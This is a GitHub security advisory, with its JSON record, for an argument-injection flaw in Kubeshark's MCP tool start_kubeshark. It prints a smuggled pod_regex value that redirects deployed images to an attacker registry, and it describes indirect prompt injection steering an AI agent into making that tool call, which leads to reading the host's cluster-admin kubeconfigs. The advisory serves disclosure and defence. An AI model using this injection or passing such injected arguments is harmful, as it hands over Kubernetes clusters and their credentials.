GHSA-8VF2-HXG5-CRQH

Vulnerability from github – Published: 2026-11-16 22:17 – Updated: 2026-11-16 22:17
VLAI
Summary
Kubeshark: MCP `start_kubeshark` argument injection via `pod_regex` → image redirect → cluster takeover
Details

Ecosystem / package: Go — github.com/kubeshark/kubeshark (the kubeshark CLI, kubeshark mcp subcommand) Affected component: cmd/mcpRunner.go, MCP tool start_kubeshark Affected versions: >= v53.1.0, < v53.4.0 (the flaw shipped with the MCP command's first release; v53.3.0 was the last affected release) Patched version: v53.4.0 Credit: novice-22 (Urim), via private coordinated disclosure.

Summary

The start_kubeshark MCP tool builds a kubeshark tap command by appending the caller-supplied pod_regex as a bare positional argument, with no -- end-of-options separator. Because tap is a cobra command, a pod_regex that begins with -/--set= is parsed as a flag, not as the pod regex. An attacker who can influence the tool arguments (e.g. indirect prompt injection against an agent driving kubeshark mcp --allow-destructive) can inject arbitrary --set Helm value overrides — notably tap.docker.registry / tap.docker.tag — redirecting the deployed worker/hub/front images to an attacker-controlled registry. The worker DaemonSet runs privileged with hostNetwork and the host filesystem mounted, so an attacker image yields node and cluster-admin compromise.

Introduced in

Commit 0bbbb473 — "[1] Add MCP (Model Context Protocol) server command (#1832)", 2026-02-06 — first released in v53.1.0 (v53.1.0~23). The pod_regex argument has been appended as a bare positional since the tool's introduction; there is no regression window, every MCP-capable release is affected.

Details

In callStartKubeshark (cmd/mcpRunner.go), the command was built as ["tap", <pod_regex>, "-n", …, "--set", …, "--set", "headless=true"] with pod_regex inserted as a raw element. cobra parses flags positionally-agnostic and there was no -- guard, so pod_regex="--set=tap.docker.registry=…,tap.docker.tag=…" became a real --set. The tool is only registered when kubeshark mcp --allow-destructive is set.

Proof of concept (reporter, abridged)

Driving kubeshark mcp --allow-destructive: start_kubeshark with pod_regex="--set=tap.docker.registry=<attacker>,tap.docker.tag=<tag>" caused the CLI to construct kubeshark tap --set=… --set headless=true, deploying an attacker image. The image ran as root inside the privileged worker container and read the host's cluster-admin kubeconfigs (/etc/kubernetes/super-admin.conf, admin.conf, pki/) — i.e. cluster-admin takeover from a single pod_regex value.

Impact

Full Kubernetes cluster compromise (cluster-admin) from a single injected tool argument, when the operator runs the MCP server with --allow-destructive.

Severity rationale

Kubeshark scores this 7.2 High, down from the reporter's 8.3, on two metrics. The impact half of the vector (S:C/C:H/I:H/A:H) is unchanged — cluster-admin takeover is real and Kubeshark does not contest it.

  • AV:N → AV:L. kubeshark mcp is a local stdio MCP server with no network listener. The attacker's payload reaches it as content an agent running on that host ingested and replayed into a local tool call. The poisoned content may have travelled over a network, but the exploited interface is local.
  • PR:N → PR:H. Two administrative preconditions must already hold on the target host: the operator must have started the MCP server with the explicit, non-default --allow-destructive flag (without it start_kubeshark is not registered at all), and that host must already hold a kubeconfig with permission to deploy the privileged Kubeshark DaemonSet. The attacker is borrowing an existing high-privilege context, not gaining one.

Kubeshark kept AC:H (the injection must land in content the agent ingests, and the attacker must stand up a malicious registry/image), UI:R (an operator must be actively driving the agent), and S:C (the compromise crosses from the CLI's authorization scope into the Kubernetes cluster — this is what keeps the score in the High band).

Patches

Fixed in v53.4.0 by commit a76a1920 (PR #1957).

In cmd/mcpRunner.go: pod_regex is now appended last, after a literal -- end-of-options separator, so it is always parsed as the [POD REGEX] positional and can never be interpreted as a flag. (namespaces / release_namespace are passed through -n / -s value flags, which consume their value token and are therefore not injectable.)

Workarounds

  • Do not run kubeshark mcp with --allow-destructive unless required.
  • Do not expose the MCP server to untrusted content / untrusted agent inputs.
  • Restrict the kubeconfig/permissions available to the machine running the MCP server.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kubeshark/kubeshark"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.2-0.20260206182249-0bbbb473ea3f"
            },
            {
              "fixed": "0.0.2-0.20260812200004-a76a1920dc75"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-129236"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-16T22:17:32Z",
    "nvd_published_at": "2026-11-16T17:17:31Z",
    "severity": "HIGH"
  },
  "details": "**Ecosystem / package:** Go \u2014 `github.com/kubeshark/kubeshark` (the `kubeshark`\nCLI, `kubeshark mcp` subcommand)\n**Affected component:** `cmd/mcpRunner.go`, MCP tool `start_kubeshark`\n**Affected versions:** `\u003e= v53.1.0`, `\u003c v53.4.0` (the flaw shipped with the MCP\ncommand\u0027s first release; v53.3.0 was the last affected release)\n**Patched version:** `v53.4.0`\n**Credit:** novice-22 (Urim), via private coordinated disclosure.\n\n## Summary\nThe `start_kubeshark` MCP tool builds a `kubeshark tap` command by appending the\ncaller-supplied `pod_regex` as a bare positional argument, with no `--`\nend-of-options separator. Because `tap` is a cobra command, a `pod_regex` that\nbegins with `-`/`--set=` is parsed as a **flag**, not as the pod regex. An\nattacker who can influence the tool arguments (e.g. indirect prompt injection\nagainst an agent driving `kubeshark mcp --allow-destructive`) can inject\narbitrary `--set` Helm value overrides \u2014 notably `tap.docker.registry` /\n`tap.docker.tag` \u2014 redirecting the deployed worker/hub/front images to an\nattacker-controlled registry. The worker DaemonSet runs privileged with\n`hostNetwork` and the host filesystem mounted, so an attacker image yields node\nand cluster-admin compromise.\n\n## Introduced in\nCommit `0bbbb473` \u2014 \"[1] Add MCP (Model Context Protocol) server command\n(#1832)\", 2026-02-06 \u2014 first released in **v53.1.0** (`v53.1.0~23`). The\n`pod_regex` argument has been appended as a bare positional since the tool\u0027s\nintroduction; there is no regression window, every MCP-capable release is\naffected.\n\n## Details\nIn `callStartKubeshark` (`cmd/mcpRunner.go`), the command was built as\n`[\"tap\", \u003cpod_regex\u003e, \"-n\", \u2026, \"--set\", \u2026, \"--set\", \"headless=true\"]` with\n`pod_regex` inserted as a raw element. cobra parses flags positionally-agnostic\nand there was no `--` guard, so `pod_regex=\"--set=tap.docker.registry=\u2026,tap.docker.tag=\u2026\"`\nbecame a real `--set`. The tool is only registered when\n`kubeshark mcp --allow-destructive` is set.\n\n## Proof of concept (reporter, abridged)\nDriving `kubeshark mcp --allow-destructive`: `start_kubeshark` with\n`pod_regex=\"--set=tap.docker.registry=\u003cattacker\u003e,tap.docker.tag=\u003ctag\u003e\"` caused\nthe CLI to construct `kubeshark tap --set=\u2026 --set headless=true`, deploying an\nattacker image. The image ran as root inside the privileged worker container and\nread the host\u0027s cluster-admin kubeconfigs\n(`/etc/kubernetes/super-admin.conf`, `admin.conf`, `pki/`) \u2014 i.e. cluster-admin\ntakeover from a single `pod_regex` value.\n\n## Impact\nFull Kubernetes cluster compromise (cluster-admin) from a single injected tool\nargument, when the operator runs the MCP server with `--allow-destructive`.\n\n## Severity rationale\nKubeshark scores this **7.2 High**, down from the reporter\u0027s 8.3, on two metrics. The\nimpact half of the vector (`S:C/C:H/I:H/A:H`) is unchanged \u2014 cluster-admin\ntakeover is real and Kubeshark does not contest it.\n\n- **`AV:N` \u2192 `AV:L`.** `kubeshark mcp` is a local stdio MCP server with no\n  network listener. The attacker\u0027s payload reaches it as content an agent\n  running on that host ingested and replayed into a local tool call. The\n  poisoned content may have travelled over a network, but the exploited\n  interface is local.\n- **`PR:N` \u2192 `PR:H`.** Two administrative preconditions must already hold on the\n  target host: the operator must have started the MCP server with the explicit,\n  non-default `--allow-destructive` flag (without it `start_kubeshark` is not\n  registered at all), and that host must already hold a kubeconfig with\n  permission to deploy the privileged Kubeshark DaemonSet. The attacker is\n  borrowing an existing high-privilege context, not gaining one.\n\nKubeshark kept **`AC:H`** (the injection must land in content the agent ingests, and\nthe attacker must stand up a malicious registry/image), **`UI:R`** (an operator\nmust be actively driving the agent), and **`S:C`** (the compromise crosses from\nthe CLI\u0027s authorization scope into the Kubernetes cluster \u2014 this is what keeps\nthe score in the High band).\n\n## Patches\nFixed in **v53.4.0** by commit\n[`a76a1920`](https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214)\n(PR [#1957](https://github.com/kubeshark/kubeshark/pull/1957)).\n\nIn `cmd/mcpRunner.go`: `pod_regex` is now appended **last**, after a\nliteral `--` end-of-options separator, so it is always parsed as the\n`[POD REGEX]` positional and can never be interpreted as a flag. (`namespaces` /\n`release_namespace` are passed through `-n` / `-s` value flags, which consume\ntheir value token and are therefore not injectable.)\n\n## Workarounds\n- Do not run `kubeshark mcp` with `--allow-destructive` unless required.\n- Do not expose the MCP server to untrusted content / untrusted agent inputs.\n- Restrict the kubeconfig/permissions available to the machine running the MCP\n  server.",
  "id": "GHSA-8vf2-hxg5-crqh",
  "modified": "2026-11-16T22:17:32Z",
  "published": "2026-11-16T22:17:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kubeshark/kubeshark/security/advisories/GHSA-8vf2-hxg5-crqh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-129236"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubeshark/kubeshark/pull/1957"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kubeshark/kubeshark"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubeshark/kubeshark/releases/tag/v53.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kubeshark: MCP `start_kubeshark` argument injection via `pod_regex` \u2192 image redirect \u2192 cluster takeover"
}



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